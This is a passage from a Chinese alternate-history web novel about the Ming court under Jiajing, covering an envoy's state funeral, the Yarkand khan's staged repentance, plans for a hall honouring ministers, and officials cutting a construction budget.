何二是南镇抚司的镇抚使,虽然只是从四品,但锦衣卫见官大三级,何二的级别完全可以对标一般的正三品官员了,要知道正三品在朝中都算是大员了,更何况南镇抚司一向不怎么和锦衣卫系统外的人接触,何二这个镇抚使,即便是面对二品大员,也未必会如此听话。 而且周楚直呼何二的名字,何二低眉顺目,由此可见,两人的身份差距不是一般的大。 难道....... 孟清远心中闪过一个名字,那人和眼前的这个男人年纪倒是一般。 一想到这里,孟清远的心就怦怦直跳。 他在南镇抚司当差之前,基本上不怎么出门,所以并没怎么听过周楚的名字和事迹。 但在南镇抚司当差的这大半年,听的最多的一个名字,就是周大人,南镇抚司之中的锦衣卫,无人敢直呼其名,都叫周大人,这让孟清远极为好奇,却也不敢多打听,每日安分守己,也不多问。 但这大半年,孟清远听他的同僚说过周大人的种种事迹,他的那些同僚一提起周大人,都是满脸的崇敬,那种崇敬似乎远远超出了对锦衣卫指挥使的崇敬。 不过孟清远觉得这种崇敬太正常不过了,他听到周大人的一些事迹之后,对这位周大人也是充满了崇敬。 只是他没想到,让自己进南镇抚司的,居然就是自己心中无比崇敬的周大人。 这一刻,梦想照进现实,孟清远心中无比激动,只是孟清远不敢确定眼前的是不是就是那位。 周楚看着孟清远的神情,明白他应该是猜到了自己的身份,不过周楚也没说什么,并没有亮明身份,毕竟今日前来,主要是为了告知孟清远孟继的死讯,孟继的葬礼,肯定不能少了孟清远母子。 “本官今日前来,是要告诉你一件事。” 周楚笑容一收,脸色肃穆道。 看到周楚这个表情,孟清远心里咯噔一下,有种不好的预感。 “孟大人出使叶尔羌汗国,却被叶尔羌汗国的赛德汗无故杀害,陛下震怒,派出大军征讨叶尔羌汗国,如今赛德汗被大明的将士活捉,送回了京城,孟大人的尸骨也被接了回来,陛下有旨,两日之后为孟大人举行国葬。” 周楚神情认真道。 孟清远只是听到前面两句,脸色瞬间变得煞白,他感觉到强烈的眩晕和不真实感,这一刻,他多么希望自己是在做梦,他希望这个梦快点醒过来。 孟清远长这么大,大半时间都在那个小院子之中,陪伴着他长大的,除了那些文武师父,就只有他的父母了,以前他总是很期盼自己的爹能来看自己,因为每次孟继都会给他带好吃的或者好玩的。 孟继在他眼中,从来都是一个慈父,虽然有时候对他严厉了些,但孟清远从来都清楚,父亲那是为了自己好。 半年前,孟清远得知自己的爹要出使西域的时候,心中极为不舍,但他很懂事,没有表现出来,他很清楚,自己不能阻止爹的大事,而且爹说得对,自己长大了,不能总是依靠他,以后娘还要靠自己撑腰。 他怎么都没想到,这一别,竟是天人永隔。 “大人,这不是真的,你告诉我,这不是真的,对不对?” 孟清远有些哀求的看着周楚,眼泪却是怎么都止不住了。 周楚听到这话,拍了拍孟清远的肩膀,叹了口气,却是什么都没说。 “清远,这两日你在家好好休沐吧,陪一陪你娘。” 一旁的何二也跟着叹了口气道。 看着孟清远有些浑浑噩噩的模样,何二特地叫了两个锦衣卫,将孟清远送回家中。 孟清远刚打开门,正好看到自己娘一身素衣,在院中烧着纸钱,痛哭出声。 孟清远此时突然意识到,或许自己的爹出发之前,就知道会死在那里,否则自己怎么会进南镇抚司? “娘,你早就知道了对不对?” 孟清远看着自己的娘,问道。 妇人看到孟清远如此问,并不意外,孟继的死讯如今讣告全京城,妇人也没指望能瞒得过孟清远。 “当初那位大人和我说的时候,我就意识到不对劲,问了问他,这件事是你爹自己求来的,他想效仿汉使,以自己的身死为大明开疆拓土,如此一来,既可以为你们求一个前途,又能名垂青史。” 妇人说着再也忍不住了,整个人崩溃大哭。 孟清远听到这话,呆立在院子之中,此时他不禁想起了孟继出发之前的一言一行,当时孟清远只以为那是爹在和自己道别,没想到却是在交代后事。 一想到这里,孟清远原本忍住的眼泪再次流了出来,他从妇人手中接过纸钱,不断地往火盆之中放。 “爹,你当时为何不告诉我呢?是怕儿子还没成长起来,遭受不住这种打击吗?” 孟清远一边烧纸,一边说道。 此时的孟清远大概也了解了自己父亲的苦心,彼时自己还是个什么都不懂的书呆子,倘若知道这个消息,恐怕会一蹶不振。 现在不一样了,在南镇抚司当差大半年,孟清远眼光见识还有心性早已不是之前能比的了,此时虽然无比伤心,却也不会一蹶不振。 两天的时间转瞬即逝,很快就到了孟继葬礼的这天,这天无论是孟清远母子,亦或是孟继的夫人以及嫡子,都穿着素衣,满脸悲痛。 此时孟继的夫人和嫡子也不会计较孟清远母子的存在了,实际上对孟清远母子的存在,他们一直是知道的,只不过是睁一只眼闭一只眼罢了,毕竟孟继无论是作为丈夫还是作为父亲,都是极好的。 而且孟继走之前也和他们说过,将来自己死后,无论是官职亦或是爵位,都是嫡子的,孟清远不会争,也没资格争,所以母子二人并没有将孟清远母子当成敌人,反而有种同病相怜的感觉。 “你就是文轩说的那位妹妹吧,这些年苦了你了,我是知道你的,有些时候我都想让文轩把你接到府中,可是文轩从未对我提起过你,我也不好开口。” 孟夫人拉着孟清远娘的手,擦了擦眼泪道。 “贱妾见过姐姐,承蒙姐姐不嫌弃,贱妾已经很感激了,不敢肖想其他。” 孟清远的娘向孟夫人作了个福道。 此时嘉靖带着文武百官走了过来,两人带着孟清远和孟继的嫡子纷纷来到嘉靖面前。 “妾身拜见陛下。” 嘉靖听到这话,摆了摆手。 “你们都是文轩的家眷吧,不必多礼,朕对不起你们,文轩为了我大明,客死异乡,朕能做的只有为他报仇,灭了叶尔羌汗国,活捉赛德汗,接回文轩的尸骨。” 嘉靖神情悲伤道。 “陛下言重了,文轩一生的追求就是为报效大明,效忠于陛下,如今也算是功德圆满了。” 这种正式场合,孟夫人说话极为得体。 “倒是苦了你们了,这位是清远吧?朕是知道你的。” 嘉靖看着孟清远,说道。 孟清远听到这话,顿觉受宠若惊,他没想到皇帝居然会关注他这么一个不值一提的小人物。 “当初就是陛下让本官妥善安排你的前程的。” 一旁的周楚解释道。 孟清远和他娘听到这话,顿时恍然大悟。 嘉靖这话,一半是说给孟家人听的,另一半则是说给身后的文武百官听的。 嘉靖就是要让所有人都明白,为大明尽忠的,他们的家眷都会得到妥善的安置,哪怕只是个私生的庶子。 “多谢陛下记挂。” 孟清远的娘抹了抹眼泪道。 嘉靖又看向了一旁孟继的嫡子。 “你是孟清晏对吧?” 嘉靖又看向了一旁的孟继嫡子道。 “草民正是孟清晏,拜见陛下。” 孟清晏再次行礼道。 孟清晏比孟清远还要小几个月,不过孟清晏是嫡子,身份上要比孟清远高不少。 “孟清晏听封。” 嘉靖高声道。 孟清晏和孟夫人,甚至包括孟清远母子听到这话,纷纷跪倒在地。 “孟文轩忠心殉国,朕感念其忠心,特封其子孟清晏为忠贞侯,享三品待遇......” 嘉靖开始了对孟清晏的封赏,这话落入身后的文武百官耳中,特别是那些兵部官员的耳中,都无比后悔当初怎么不坚决争取一下呢? 当初他们这些人和孟继一起争出使西域的差事,但他们还是怕死的,毕竟现在的日子也不错,谁也不想真的求死,于是孟继坚定地争取的时候,被王宪选中了。 此时看到孟清晏的待遇和封赏,他们都感到无比羡慕,这种爵位和待遇,他们这辈子恐怕都很难达到了,更不用说他们的子孙了。 嘉靖对孟清晏的封赏不可谓不丰厚,甚至对整个孟家,嘉靖都赏赐了无数财物。 “谢陛下隆恩。” 孟清晏带头磕头道。 孟清晏身后的孟清远,听到孟清晏的封赏,心中很是羡慕,却不嫉妒,因为他很清楚,自己的爹一直在为自己考虑,否则自己也进不了南镇抚司。 孟清远在意的从来都是孟继在不在意他们母子,而不是这些钱财,或者爵位。 嘉靖一直看着孟清远的神情,看到他这副模样,满意地点了点头。 “回头给清远升到百户吧。” 嘉靖转头对周楚说道。 “遵旨。” 周楚行礼道。 孟清远听到这话,顿时有些恍惚,他在南镇抚司这大半年,很清楚锦衣卫晋升有多难,南镇抚司还好,同僚之间相对和睦,孟清远听他的同僚说过,北镇抚司竞争那叫一个惨烈,很多人为了往上爬无所不用其极,一般的锦衣卫想成为总旗都难上加难,总旗往百户升,竞争更激烈。 他怎么都没想到,自己什么都没做,就成了百户了。 直到孟清远的娘拉了拉他,孟清远这才清醒过来。 “谢陛下隆恩。” 孟清远磕头道。 “都起来吧,要给文轩下葬了。” 嘉靖说到这里,神情不免有些悲伤。 孟家人听到这话,纷纷站了起来,然后来到已经挖开的坟前跪在那里,孟夫人和孟清远的娘一直在哭,旁边孟清远和孟清晏也跟着泪流不止。 很快,一个金丝楠木的棺材被抬了过来,棺材刚抬过来的时候,孟夫人和孟清远的娘直接趴在了棺材上面,开始痛哭。 “文轩,是我啊,你睁开眼睛看看我。” 第364章 赛德汗的忏悔,嘉靖:朕欲建立真武殿 赛德汗本身身体就不太好了,在路上经过几天的长途奔波,身子骨愈发不行了,整日咳嗽不止。 嘉靖不想让赛德汗这么快就死了,于是就让飞霞子给他好好诊治了一番,虽说没有根治,却也好了不少。 对大明和嘉靖而言,活着的赛德汗可比死了的赛德汗有用的多。 赛德汗只要活着,向大明归降,那么大明统治叶尔羌汗国就是名正言顺,倘若赛德汗被嘉靖杀了,那么叶尔羌汗国就会有无数人跳出来,打着为赛德汗复仇的名声,不断地造反。 赛德汗统治叶尔羌的时候,他们心中未必服气,也谈不上多么忠诚,但赛德汗一旦死了,他们就有了造反的理由,一呼百应。 正如当年大唐刚刚建国的时候,李世民劝降窦建德,窦建德也投降了,李渊非要杀死窦建德,李世民反对无果,最后河北那些人,一直都在致力于反唐。 要说那些人对窦建德有多忠心,倒也不见得,毕竟窦建德从起兵到被杀满打满算也就三四年的时间,三四年的时间要说整个河北对他多忠心,不现实,不过是野心家借着窦建德的名头一呼百应,起兵造反罢了。 原本赛德汗对嘉靖和周楚的招降不屑一顾,他自己的身子骨这种情况,眼看着也活不了多久了,何必苟且偷生?倒不如被大明皇帝杀了,给他们留下一个烂摊子。 这个道理,赛德汗还是看得明白的。 “赛德汗,你如果死了,你觉得你的那些儿女,有几个可以幸免的?还有,你身上的病,飞霞子道长可以帮你调理,再活个十几年不成问题,在这京城,虽然没什么自由,但做个富家翁,也是不错的。” 嘉靖让周楚劝降赛德汗,周楚只说了两句话,这两句话,每一句都直击赛德汗的内心。 如果说此时赛德汗最担心的是谁,无疑是他的那些儿女,他很清楚,自己如果死了,根本不用大明动手,他原本的那些手下就会追杀他的子女。 至于第二个条件,更是让赛德汗怦然心动,能活着谁也不愿意去死,成为叶尔羌的大汗这么多年,过着奢靡的生活,赛德汗的雄心壮志早已被磨平了,之前之所以这么硬气,无非是觉得自己活不了多久了。 中原大夫的医术高超,赛德汗一直都是有所耳闻的,别的不说,之前飞霞子给他稍微针灸了一次,他瞬间就感觉好了许多,可谓是立竿见影。 “本王愿意臣服于大明。” 赛德汗说着,半跪在周楚面前,表示着自己的臣服。 对赛德汗的劝降,都是在孟继葬礼之前进行的。 孟继的葬礼之上,孟继下葬之前,赛德汗被带了上来,跪在了孟继的棺材跟前。 “小王有眼不识泰山,触犯大明天威,小王罪该万死。” 赛德汗一边说着忏悔的话,一边左右开弓,疯狂扇自己的嘴巴子,他是真下死手扇自己,很快两边的脸都被扇肿了。 赛德汗很聪明,一旦有了活路,他为了让嘉靖满意,十分卖力的表演,生怕自己忏悔的不够真诚,惹怒大明的臣子和孟继的家眷。 真到了那个时候,说不得大明皇帝为了平息这些人的怒火而杀了自己。 所以赛德汗对自己毫不留手。 嘉靖身后的官员,离得近的,眼看着赛德汗这么扇自己,都眼皮子直跳,心想这人对自己真狠啊。 不过无论是文武百官还是嘉靖,亦或是周楚,倒也不怕养虎为患,毕竟如今大明无论是国力亦或是各个方面,都碾压叶尔羌汗国,赛德汗只要不是昏了头,就不会有复国的念头。 更何况赛德汗在京城之中被软禁,想要跑出去根本不可能。 孟夫人和孟清晏看到赛德汗如此真诚的忏悔,心中的气顿时消了大半,至于杀了赛德汗,他们没想过,如今孟清晏刚刚被封侯,孟夫人出于对自己儿子前途的考虑,不会有任何逾越的举动,至于孟清晏,饱读诗书,很清楚赛德汗对大明的重要性。 赛德汗是用来彰显大明天威,还有威慑叶尔羌汗国的,皇帝肯定不会轻易杀了他,纵观历史,杀与不杀的结果都有,很显然留着不杀,要比杀了好得多。 孟清远母子倒是恨极了赛德汗,不过他们倒也识大体,更何况他们很清楚,孟继是主动求死的。 “如何处置赛德汗,朕交给你们孟家,倘若你们想杀了他,朕会帮你们动手。” 嘉靖看着孟家众人,说道。 嘉靖这话,其实就是脱了裤子放屁,他如果真的想杀,直接就下令让人杀了,现在这么说,无非是让孟家做一个没有选择的选择罢了。 “陛下,父亲已逝,杀了他父亲也活不过来,不如留着他,以彰显我大明天威。” 孟清晏说道。 孟清晏被封侯,在皇帝面前,孟家主事的不再是孟夫人,而是他。 这话说的很是妥帖,嘉靖很是满意地点了点头。 “清远,你呢?” 嘉靖并没有忽略孟清远的意见,嘉靖要做,就要做足姿态,让所有人心服口服。 “陛下,臣很恨赛德汗,不过清晏说的对,杀了他父亲也活不过来,反而有可能让父亲的一腔心血付诸东流,不如留着他,彰显我大明天威,还可以威慑叶尔羌汗国。” 孟清远神情低落道。 “你们两个都是懂事的好孩子,委屈你们了。” 嘉靖说着摆了摆手,顿时有一群侍卫上来将赛德汗拖了下去。 赛德汗这才松了口气,对他而言,现在才算是真正过了鬼门关。 “下葬吧。” 赛德汗被带下去之后,嘉靖郑重道。 随着嘉靖的命令,众人开始隆重地给孟继封棺下葬,百官纷纷对着孟继的坟墓行礼。 眼看着封棺下葬,孟夫人哭的更伤心了,恨不得上前用手将土刨开,将孟继挖出来,孟清晏在一旁忍着悲伤拉住自己的娘。 孟清远和他娘也是如出一辙。 孟继的葬礼在京城引起的反响很大,随着孟继的死,之前出使安南的欧阳必进的事迹也在嘉靖的有意推动下,在京城宣扬开来。 彼时欧阳必进出使安南一心求死,因为形式相对复杂,还不好大肆宣扬,但如今不同了,嘉靖自然不好厚此薄彼,让人将欧阳必进和孟继的事迹放在一起,大肆宣扬。 一时之间,整个京城,甚至京城周围的百姓都知道孟大人和欧阳大人为了大明,死在异国他乡。 关于两人的故事话本,更是如雨后春笋一般,不断涌现。 如此又过了两个月左右,林鹿班师回朝,正式宣布叶尔羌汗国纳入大明的版图,随着林鹿回朝的,还有赛德汗的家眷,看到自己的家眷,赛德汗有悲有喜。 悲的是,他的家眷终究还是被大明的士兵抓来了,喜的是,如此一来,自己的儿女虽说没了自由,却也相对安全,而且自己还可以和他们在一起。 林鹿回京,预示着大明的版图达到了前所未有的地步,甚至已经逐步超越了盛唐的版图。 对于林鹿,嘉靖倒是好封赏,赏了一些财物,又加了一些食邑,同时封了个五军都督府左都督,正一品的虚职,如今的五军都督府已经名存实亡了。 嘉靖给林鹿封这个官职,也有让林鹿重整五军都督府的心思,毕竟五军都督府才是真正拱卫皇帝的存在,之前因为文官势大,五军都督府逐渐被架空,现在嘉靖掌握了权柄,自然要把它重新弄起来。 至于给林鹿封国公?嘉靖没想过,首先这次攻打叶尔羌汗国,所有的准备工作,还有战略的制定,基本都是周楚在做,攻打叶尔羌,不过是手拿把掐的事,功劳不至于太大。 更何况林鹿本身就是嘉靖的表兄,自己表兄弟,怎么都好说,对于林鹿的性子,嘉靖也很清楚,一个正一品的左都督,已经足够了。 “陛下真乃雄主也,如今大明的版图,已经超越了盛唐,更是远超洪武永乐两朝。” 朝会之上,杨一清带头拍龙屁道。 内阁首辅都开了头,其他官员纷纷有样学样,说的那叫一个肉麻,什么千古一帝,什么超越唐宗宋祖,那是张口就来。 嘉靖坐在龙椅之上,听着百官的谄媚之声,那叫一个神清气爽。 “诸位,陛下虽然功盖千秋,但诸位不该一味的媚上,陛下还年轻,应该时刻警醒,而不是沉迷于过往的荣耀之中。” 文徵明站了出来,先是不着痕迹地拍了嘉靖的龙屁,随后话锋一转,开始劝谏皇帝,这正是他这个国子监祭酒的职责所在。 嘉靖刚开始听到这话,心中多少有些不舒服,但一想到唐太宗有魏征才能一直保持清明,自己身边也需要这么一个诤臣,于是收起了不悦的神情。 “文爱卿说得对,朕还年轻,大明还有很长的路要走,朕不能就此自满。” “陛下圣明!” 一直没说话的杨慎此时终于说话了。 “陛下圣明!” 文武百官纷纷附和。 “朕欲建立真武殿,将我大明的肱股之臣的牌位都放入其中,以供后人瞻仰,诸位以为如何?” 嘉靖看着文武百官,问道。 “陛下,此举甚妥,想当初唐太宗建立凌烟阁,就是为了封赏有功之臣,当初的光武帝,也设立了云台二十八将,一旦进入其中,便可以青史留名。” 杨一清听到这话,瞬间兴奋了起来,他拖着迟迟不退休,不就是等这一天吗?一旦真武殿建立,他作为内阁首辅,肯定是要位列其中的,至于排名,周楚肯定是排在他前面的,甚至是排在第一的,周楚对大明的贡献,所有人都有目共睹。 那他这个内阁首辅,这两年也算是勤勤恳恳,将大明的事务处理的有条不紊,而且提出了很多建设性意见,位列前十没什么问题吧? 杨一清倒也有自知之明,没有奢求前五,毕竟他自己的能力和本事他也很清楚,再加上之前摆烂了那么久,真能谈得上贡献的,也就这两年。 对于嘉靖建立真武殿,如果说谁最赞成,不是周楚,而是杨一清和王宪这些人,因为他们可以在这个年纪乘上末班车,这让他们无比惊喜,甚至无比急切。 “陛下英明。” 王宪想说的话都被杨一清说了,只能说陛下英明了。 “陛下,建立真武殿,空耗财力,却没什么实际意义,还望陛下三思。” 六科的一个官员很是头铁,出来反驳道。 他这话刚一出口,文武百官纷纷看向了他,如果眼神能杀死一个人的话,这人恐怕已经被凌迟了。 这让其他想要站出来反驳的六科官员吓得缩了缩头。 他们是头铁,但不是没眼色,倘若朝中的意见分为两派,他们可以支持一派,反驳一派,但显然,现在朝中的文武百官的意见出奇的一致,大家都奢望着能进入真武殿,好青史留名,此时六科再站出来,那就不是头铁了,那是把所有人都得罪光,包括皇帝。 这种事他们是不会做的。 “衡器,你觉得呢?” 嘉靖看着周楚,问道。 “臣以为建立真武殿是很有必要的,不过真武殿的牌位倒也不用直接固定,毕竟陛下还年轻,大明还有很长的路要走,以后还会有很多人为大明建功立业,可以根据情况,酌情加减。” 周楚说道。 嘉靖听到这话,点了点头。 “衡器此言,很是妥当,诸位现在进不了真武殿的,也不用着急,以后有的是机会,进去了的,也不能想着躺在功劳簿上,以后也可能被其他人挤出来。” 嘉靖的话,让杨一清和王宪心中一紧,生出了一种紧迫感,特别是杨一清,他觉得自己或许还可以再晚几年致仕,为大明鞠躬尽瘁,只有这样,才能保证不被其他人挤出真武殿。 王宪更是如此,单论对大明的贡献,他和杨一清比都差了不少,如今或许可以进真武殿,但他清楚,倘若自己就这样的话,被挤出去是迟早的事。 大明正在飞速发展和扩张,他们都很清楚,将来大明会涌现出一个个功臣良将。 比如此次被大加封赏的胡汝贞和赵孟静,据说此次攻打叶尔羌,全是这两人的功劳,他们二人带着轻骑兵,仅仅七八天,就打到了叶尔羌的都城。 真是英雄出少年啊。 王宪一想到这两人,就感到压力山大。 第365章 孟清远兄弟,暴怒的张璁 孟清远和孟清晏兄弟两人都在孟继的坟前结庐丁忧,兄弟两人相处的倒也算和谐。 锦衣卫和文官系统不一样,文官想要丁忧,基本都是辞官丁忧,如此一来就要远离权利中心好几年。 一旦远离权力中心,很可能再也回不来,或者自己之前做的事功亏一篑。 周楚原本历史上的张居正,以一人之力对抗大明的士绅和官僚集团,推行考成法和一条鞭法,得罪了无数人,却始终不敢丁忧,他很清楚,一旦自己去丁忧,那么自己做的那些都会被推倒清算。 于是就有了所谓的夺情。 不过锦衣卫和文官系统不一样,锦衣卫一般都是世袭的,儿子继承父亲的职务,所以即便是丁忧,职务也都是保留着的。 更何况孟清远的情况又极其特殊,即便锦衣卫丁忧官职不保留,孟清远的职务也肯定是会被保留的。 孟清远兄弟两人丁忧,每日都会有人给他们送一些素菜过来,酒是不能喝的。 周楚下朝之后,去醉仙楼拿了一些素菜,拎着食盒就到了孟继坟前。 “见过周大人。” 孟清晏在孟继的葬礼上见过周楚,周楚当时就站在嘉靖身边,可谓是荣宠之极,对于周楚,孟清晏知道的可远比孟清远清楚,他很清楚眼前这个看上去比自己大了不到十岁的,正是锦衣卫指挥使周楚,那个权倾天下的男人。 所以他无比恭敬。 “清远呢?” 周楚笑道。 草庐之中的孟清远,急忙走了出来,来到周楚面前恭敬行礼。 “属下见过大人。” 之前的葬礼上,孟清远因为被悲伤的情绪左右,倒是没有想太多,但葬礼结束后,孟清远回想起周楚站的位置,正是皇帝身旁,要知道那个位置就算是内阁首辅都没资格站。 恐怕只有锦衣卫指挥使才能站在皇帝身旁,保护皇帝的安危。 想明白这些的孟清远,基本就确定了周楚的身份,为此他还特地和孟清晏交流了一下。 “先吃饭吧,这是我特意从醉仙楼带过来的素菜。” 周楚提了提饭盒道。 按理来说,这饭盒应该是周楚身后的沈炼或者大柱提着,不过这种事周楚不想假手于人,就自己提着来了。 孟清远兄弟二人听到这话,互相对视了一眼,忍不住咽了咽口水,这些天他们吃的很是素净,孟府的厨子做的素菜甚至连调料都不怎么放,这让习惯了吃肉的兄弟二人嘴里寡淡无比,都饿瘦了不少,两人此时都显得有些消瘦。 孟清远兄弟两人急忙将他们用来吃饭的一个木墩子抬了出来,周楚将饭盒打开,将其中的一道道菜端出来放在上面。 这些菜虽然也是素菜,但醉仙楼的厨子可不是一般的厨子,而且醉仙楼还有白糖,白糖可以提鲜,再多放点醋,糖放的量很少,只是提鲜点缀的作用,主要口味还是咸口,这些素菜吃着爽口又开胃,让这兄弟两人吃的根本停不下来,馒头一个接一个。 兄弟两人一通风卷残云之后,这才想起周楚还在旁边,顿觉不好意思。 “大人,属下失态了,实在是这醉仙楼的饭菜太好吃了。” 孟清远满脸不好意思道。 周楚听到这话,却是摇了摇头。 “醉仙楼的饭菜虽然好吃,却也只是比其他酒楼的好那么一些,倒也没那么夸张,想来是你们二人这几日没吃好,也没吃饱,所以才觉得这些素菜极为美味。” 周楚笑道。 “周大人所言极是。” 孟清晏附和道。 “回头让醉仙楼每日都送些素菜过来。” 周楚看着身后的沈炼说道。 “是,大人。” 沈炼领命道。 “大人,这不合适吧,醉仙楼的饭菜太贵了,这么一直吃下去,我们兄弟二人恐怕也吃不起。” 孟清晏有些窘迫道。 “不必担心价格问题,醉仙楼是本官的产业,这些菜成本也用不了几个钱,不需要给钱,这也是陛下的意思,陛下让本官对你们兄弟二人多加照顾。” 周楚摆了摆手,无所谓道。 “多谢陛下隆恩。” 孟清晏两人急忙行礼道。 “陛下没杀赛德汗,你们兄弟二人心中可有不满?” 周楚看着兄弟两人,说道。 这才是周楚来到这里的真正目的,也是嘉靖特意吩咐周楚来的,嘉靖生怕亏待了孟继的家眷,倘若因为赛德汗让孟家人不满,这绝不是嘉靖想要看到的。 “大人哪里的话,家父出使叶尔羌汗国,正是要为大明争一个名正言顺,让大明彻底将叶尔羌汗国纳入版图之中,倘若杀了赛德汗,届时叶尔羌境内的那些蒙古人,恐怕就会不安分了,这绝不是家父想看到的。” 孟清晏听到这话,急忙行礼道。 “是啊大人,虽然属下也想杀了赛德汗,但如果因此让家父的努力付之一炬的话,我等岂不是成了不孝子孙了?对于陛下的处置,我们毫无怨言。” 孟清远急忙表态道。 周楚听到这话,满意地点了点头。 “你们孟家之人,倒也都是识大体的,陛下不会亏待你们的,你们兄弟二人好好丁忧,丁忧结束,大有可为。” 周楚拍了拍两人的肩膀道。 这让孟清远两人受宠若惊。 “行了,本就想来看看你们兄弟二人,如今事了,本官也该回去了,对了,若是喜欢吃什么菜,也可以和送菜的人说,醉仙楼的菜品很齐,你们吃过的没吃过的都有。” 周楚看着孟清远两人,嘱咐道。 周楚走后,孟清晏和孟清远兄弟两人对视了一眼,都有种如坠梦中的感觉。 周楚这种权倾天下的大佬,方才像家中长辈一般,对他们关怀备至,这让他们如何能不激动。 此时兄弟两人内心并不平静。 “周大人和传闻中的有些不一样,完全不像传闻中的那般凶神恶煞。” 孟清晏忍不住感慨道。 “那些都是传闻,我见过大人多次,大人都是这般和蔼,大人作为锦衣卫指挥使,经手的案子太多,得罪的人也太多了,被人抹黑实属正常。” 孟清远忍不住为周楚辩解道。 “我倒是有些羡慕你,能在南镇抚司任职,想来周大人将来会对你多加照顾,我也想跟着周大人这样的人当差。” 孟清晏有些羡慕道。 孟清远听到这话,没有回答,这话他权当自己这个弟弟放屁了,孟清远甚至在心里说了一句,真要和你换你又不乐意,不过这话也就想想,孟清远和孟清晏两兄弟最近这几日刚刚熟络了一些,倒也没熟到可以开玩笑的地步。 更何况孟清晏是嫡子,在孟家的身份是高过孟清远的,孟清远也没资格和他开玩笑。 ....... 真武殿的建设,嘉靖下旨,内阁批条子,户部拨款,工部负责开工。 户部对于真武殿的预算是一百万两,甚至还让工部给出了具体的设计图纸,以及每一处的用料,原本户部和工部做事完全不需要这般细致,以前他们都习惯了虚报。 之前大明的虚耗极高,倘若修建一个宫殿,户部报价一百万两的话,户部和工部的官员最少能吃掉六十到七十万两。 这还只是一个缩影,宫中宫女的吃穿用度,甚至宫中吃的菜,报价都是虚高很多倍,甚至十倍以上,多出来的钱,全都被大大小小的官员,以及尚衣局的女官吃掉了。 但现在和之前完全不一样了,有了考成法,再加上之前修建铁路,户部的报价被周楚一眼看破,如今的户部官员又都唯张璁马首是瞻,即便报价有些虚报,也只是虚报一两成罢了,多了,张璁那一关都过不去。 嘉靖拿到户部的报价折子,第一时间将周楚叫到了御书房。 周楚看了看其中的报价,对于很多东西的物价,周楚也不是很清楚,不过周楚不清楚,楚璃清楚啊,楚璃经商多年,市面上东西的物价可谓是信手拈来,这次周楚入宫,特意带了楚璃。 楚璃从周楚手中接过折子看了看,瞬间看出了其中的猫腻。 “陛下,这报价倒也算合理,不过应该可以再往下压一压,这些木材都可以从安南那边弄过来,一般人买的话可能是按照市场价,或者溢价一些,但工部买的话,是有办法将成本进一步压缩的,即便再压低两成,这其中的利润仍然很可观。” 楚璃恭敬道。 “你先下去吧。” 眼看楚璃需要做的事做完了,周楚摆了摆手,示意楚璃下去。 楚璃听到这话,顿时松了口气,即便她纵横商海多年,即便她为周楚赚了不知道多少钱,但此时面对皇帝,仍然感觉压力极大,心中无比忐忑。 “那就打回去,让户部重新核算。” 嘉靖说着将奏疏递给了黄锦。 这种核算成本的事,就是户部和皇帝扯皮的事,要是之前的皇帝,户部可以说是随便糊弄,但此时的嘉靖可不同,先不说嘉靖大权在握,为大明开疆拓土,嘉靖身边可是有周楚这个锦衣卫指挥使的,有周楚在,很多事嘉靖甚至都懒得费脑子去想,交给周楚,完全可以给他一个满意的结果。 周楚这种臣子,事全做了,而且做的滴水不漏,功劳全部推到嘉靖身上,甚至分给其他人,比如林鹿,比如陆云瑾,又比如陆炳。 这样的臣子,哪里去找?所以嘉靖对周楚格外的珍惜,嘉靖从来都是一个极重感情的人,对于周楚,他一直都想方设法保护。 户部,黄锦让人将奏疏送回去的时候,张璁看着被打回的奏疏,有些无奈的叹了口气。 户部的那些官员,都不太敢看张璁,生怕惹怒了这位户部尚书。 “怎么?你们敢报这个价,这个时候都不敢出来认了?” 张璁把奏疏拍在书案上,喝道。 这话让户部的官员心里都是一哆嗦。 “大人,这核算成本的事,本就不是一次能解决的,陛下也没说什么,只是让我等重新核算。” 户部侍郎赔笑道。 “你们那点心思,真当本官不知道?无非是想捞钱罢了,如果是以往,你们捞点也就捞点了,但今时不同往日,如今大明正在蒸蒸日上,版图超越盛唐,百姓富足,你我都赶上了这等盛世,还想着如何捞钱?真是没出息。” 张璁晓之以理道。 “首辅大人如今为了大明可谓是鞠躬尽瘁,他都七十有四了,他完全可以不用这么拼命,但他能在这个年纪赶上这等盛世,是他之幸,也是在座的诸位的幸事,诸位将来都是有希望位列真武殿的,切莫自误!” 张璁之所以如此生气,不是因为奏疏被打回来,奏疏被打回来很正常,他只是想借此敲打一下他的这些属下,如今真武殿建立在即,张璁身为户部尚书,将来入阁也不是不可能,对于真武殿,他势在必得。 想要进真武殿,那就要像杨一清一般,对大明呕心沥血,但户部的这些官员想着的却是如何捞钱,张璁一定要纠正他们的这些想法,否则他很清楚,自己会被这些属下拖累。 “诸位,好好想想吧,你们真的缺钱吗?如今朝廷的俸禄如此丰厚,还有考成法的奖励,倘若进入真武殿,那可是要名留青史的,你们之中大多数人都比我年轻,未来大有可为。” 张璁开始给户部的这些官员画起了大饼。 张璁这话一出,户部的这些官员纷纷低头反思,其中有烂泥扶不上墙的,不过大多数人对于名留青史这四个字,都没办法拒绝。 “大人说的是,我等不应该被些许钱财蒙蔽了双眼,我们能赶上这等盛世,是何等幸运,如今盛世刚起,未来我等都大有可为。” 户部的一个四品官慷慨激昂道。 不只是他,户部的很多人此时都想明白了。 “大人,下官觉得这个成本可以往下再压缩三成左右,这些木材的价格,让工部去谈,完全可以压下来。” 户部侍郎此时也是热血沸腾,说道。 众人你一言我一语,将成本降低为原来的六成五左右,如此一来,中间几乎没有什么利润可图了。 当奏疏再次递到嘉靖面前的时候,嘉靖看了看奏疏,整个人都惊了。 第366章 嘉靖的丹药,登门拜访的张璁 周楚再次看到户部的报价奏疏的时候,也有些惊了,户部的这些人居然这么狠?把价格压这么低? “衡器,你觉得户部这个报价是否妥当?” 嘉靖看着周楚,问道。 周楚将奏疏放回了嘉靖面前,摇了摇头。 “陛下,这很明显是张秉用一心想为大明做些什么,有些用力过猛了,如今陛下要建真武殿,谁不想进真武殿,户部这些官员恐怕也想,但这个价格,恐怕一点利润都没有,负责建真武殿的人,恐怕会压榨那些工人,还有那些负责材料供应的,这并不是一个好现象,大明要走的路是细水长流,而不是竭泽而渔。” 周楚说出了自己的想法。 嘉靖听到这话,点了点头,随即又有些为难,毕竟他作为皇帝,很多话是不能直说的,这个奏疏如果再打回去,户部恐怕会想办法进一步缩减预算。 “只是这话,朕该如何传达给户部?” 嘉靖一脸为难道。 “这个折子陛下留着,先不要打回户部,也不要给回复,张秉用自然会来找臣。” 周楚说道。 其实嘉靖说这话,并不是询问周楚如何解决,而是暗示周楚替他当一个传声筒。 